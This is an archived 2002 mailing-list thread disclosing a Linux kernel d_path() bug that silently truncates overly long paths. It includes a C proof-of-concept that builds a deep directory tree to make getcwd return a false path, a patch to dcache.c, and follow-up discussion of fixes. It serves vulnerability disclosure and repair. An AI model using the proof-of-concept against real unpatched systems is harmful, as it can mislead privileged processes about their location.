d_path() truncating excessive long path name vulnerability

d_path() truncating excessive long path name vulnerability

[Wojciech Purczynski]

[-- Attachment #1: Type: TEXT/PLAIN, Size: 2176 bytes --]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Name:		Linux kernel
Version:	up to 2.2.20 and 2.4.18
Homepage:	http://www.kernel.org/
Author:		Wojciech Purczynski <cliph@isec.pl>
Date:		March 26, 2002


Issue:
======

In case of excessively long path names d_path kernel internal function
returns truncated trailing components of a path name instead of an error
value. As this function is called by getcwd(2) system call and
do_proc_readlink() function, false information may be returned to
user-space processes.


Description:
============

Linux is a clone of the operating system Unix, written from scratch by
Linus Torvalds with assistance from a loosely-knit team of hackers across
the Net. It aims towards POSIX and Single UNIX Specification compliance.


Details:
========

d_path kernel function resolves a string of absolute path name of a dentry
passed as an argument to the function.

The path is a concatenation of subsequent path components starting from
trailing path component. The concatenated path name is stored into a
fixed-length buffer of PAGE_SIZE bytes.

If a dentry points to a path that exceeds PAGE_SIZE - 1 characters length,
leading path components are not written to the buffer and function returns
truncated path without an error value.

Because getcwd(2) system call uses d_path() function, it may return
invalid path to the user-space process. However, if a returned path is
longer than user-space buffer a correct error value is returned.

readlink(2) system call called on proc filesystem uses do_proc_readlink()
function which is also vulnerable to d_path() bug.


Impact:
=======

Privileged process may be tricked to think it is inside of arbitrary
directory. Other scenarios are possible if readlink() is used on files on
proc filesystem (like "/proc/self/exe").


PS: Please CC to security@isec.pl as I may not be subscribed to the list.

- --
Wojciech Purczynski
iSEC Security Research
http://isec.pl/

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE8oHpKC+8U3Z5wpu4RAn6qAJ4seIO2xfXvrHmTMFQoMkGus23fJwCgjka7
ew84vFEFTO8lI7PQgEdyG0c=
=sEfh
-----END PGP SIGNATURE-----


[-- Attachment #2: proof-of-concept exploit --]
[-- Type: TEXT/PLAIN, Size: 1168 bytes --]

/*
 * 2.2.x/2.4.x Linux kernel d_path proof-of-concept exploit
 *
 * Bug found by cliph
 */

#include <unistd.h>
#include <stdio.h>
#include <limits.h>
#include <errno.h>
#include <paths.h>

/*
 *  Note: on Linux 2.2.x PATH_MAX = PAGE_SIZE - 1 that gives us 1 byte for 
 *        trailing '\0' 
 */

#define PATH_COMPONENT "123456789abcdef"

void err(char * msg)
{
	if (errno) {
		perror(msg);
		exit(1);
	}
}

int main()
{
	char buf[PATH_MAX + 1]; /* think of trailing '\0' */
	int len;
	
	errno = 0;

	chdir(_PATH_TMP);
	err("chdir");
	
	/* show CWD before exploiting the bug */
	getcwd(buf, sizeof(buf));
	err("getcwd #1");
	fprintf(stderr, "CWD=%.40s\n", buf);
	
	/* creating long directory tree - it must exceed PATH_MAX characters */
	for (len = 0; len <= PATH_MAX; len += strlen(PATH_COMPONENT) + 1) {
		errno = 0;
		mkdir(PATH_COMPONENT, 0700);
		if (errno != EEXIST)
			err("mkdir");
		errno = 0;
		chdir(PATH_COMPONENT);
		err("mkdir");
	}

	/* show CWD before exploiting the bug */
	getcwd(buf, sizeof(buf));
	err("getcwd #1");
	fprintf(stderr, "CWD=%.40s... [stripped]\n", buf);
	
	return 0;
}

Re: d_path() truncating excessive long path name vulnerability

[S/ash]

This is a copy of a mail i've sent to bugtraq, i'm not currently a subscriber of linux mailing list but i've thought it could interest you.

Welcome i've made a quick patch for 2.2.20 internationnal kernels. I think it should work also for standard 2.2.20 kernels.
It's just quick so i've not made a lot of test but it works.

you need to apply it to path-to-linux-source/fs/dcache.c

Say me if it doesn't work...
S/ash

*** dcache.c.old        Wed Mar 27 14:05:23 2002
--- dcache.c    Wed Mar 27 14:34:13 2002
***************
*** 795,801 ****
--- 795,804 ----
                namelen = dentry->d_name.len;
                buflen -= namelen + 1;
                if (buflen < 0)
+               {
+                       retval = buffer - 1;
                        break;
+               }
                end -= namelen;
                memcpy(end, dentry->d_name.name, namelen);
                *--end = '/';
 
______________________________________________________________________________
ifrance.com, l'email gratuit le plus complet de l'Internet !
vos emails depuis un navigateur, en POP3, sur Minitel, sur le WAP...
http://www.ifrance.com/_reloc/email.emailif

Re: d_path() truncating excessive long path name vulnerability

[Paul Szabo]

Back in March 2002, Wojciech Purczynski <cliph@isec.pl> wrote (original
article at http://online.securityfocus.com/archive/1/264117 ):

> Name:		Linux kernel
> Version:	up to 2.2.20 and 2.4.18
> ...
> In case of excessively long path names d_path kernel internal function
> returns truncated trailing components of a path name instead of an error
> value. As this function is called by getcwd(2) system call and
> do_proc_readlink() function, false information may be returned to
> user-space processes.

The problem is still present in Debian 2.4.19 kernel. I have not tried 2.5,
but see nothing relevant in the Changelogs at http://www.kernel.org/ .

Cheers,

Paul Szabo - psz@maths.usyd.edu.au  http://www.maths.usyd.edu.au:8000/u/psz/
School of Mathematics and Statistics  University of Sydney   2006  Australia

Re: d_path() truncating excessive long path name vulnerability

[Solar Designer]

On Wed, Nov 27, 2002 at 01:04:04PM +1100, Paul Szabo wrote:
> Back in March 2002, Wojciech Purczynski <cliph@isec.pl> wrote (original
> article at http://online.securityfocus.com/archive/1/264117 ):
> 
> > Name:		Linux kernel
> > Version:	up to 2.2.20 and 2.4.18
> > ...
> > In case of excessively long path names d_path kernel internal function
> > returns truncated trailing components of a path name instead of an error
> > value. As this function is called by getcwd(2) system call and
> > do_proc_readlink() function, false information may be returned to
> > user-space processes.
> 
> The problem is still present in Debian 2.4.19 kernel. I have not tried 2.5,
> but see nothing relevant in the Changelogs at http://www.kernel.org/ .

FWIW, I've included a workaround for this (covering the getcwd(2) case
only, not other uses of d_path() by the kernel or modules) in 2.2.21-ow1
patch and it went into 2.2.22 release in September.

This kind of proves the need for double-checking newer kernel branches
(2.4.x and 2.5.x currently) for fixes going into what many consider
stable kernels.

-- 
/sd

Re: d_path() truncating excessive long path name vulnerability

[Paul Szabo]

Solar Designer wrote:

> FWIW, I've included a workaround for this (covering the getcwd(2) case
> only, not other uses of d_path() by the kernel or modules) in 2.2.21-ow1
> patch and it went into 2.2.22 release in September.

Another reply shows that a patch has been submitted, but not acted upon:

> From jikos@jikos.cz Wed Nov 27 21:39:07 2002
> Date: Wed, 27 Nov 2002 11:38:25 +0100 (CET)
> From: Jirka Kosina <jikos@jikos.cz>
> To: Paul Szabo <psz@maths.usyd.edu.au>
> Subject: Re: d_path() truncating excessive long path name vulnerability
> 
> On Wed, 27 Nov 2002, Paul Szabo wrote:
> 
> > > In case of excessively long path names d_path kernel internal function
> > > returns truncated trailing components of a path name instead of an error
> > > value. As this function is called by getcwd(2) system call and
> > > do_proc_readlink() function, false information may be returned to
> > > user-space processes.
> > The problem is still present in Debian 2.4.19 kernel. I have not tried 2.5,
> > but see nothing relevant in the Changelogs at http://www.kernel.org/ .
> 
> I've sent patch to linux-kernel, but noone seemed interested 
> (http://www.cs.helsinki.fi/linux/linux-kernel/2002-13/0054.html)
> 
> -- 
> JiKos.

Cheers,

Paul Szabo - psz@maths.usyd.edu.au  http://www.maths.usyd.edu.au:8000/u/psz/
School of Mathematics and Statistics  University of Sydney   2006  Australia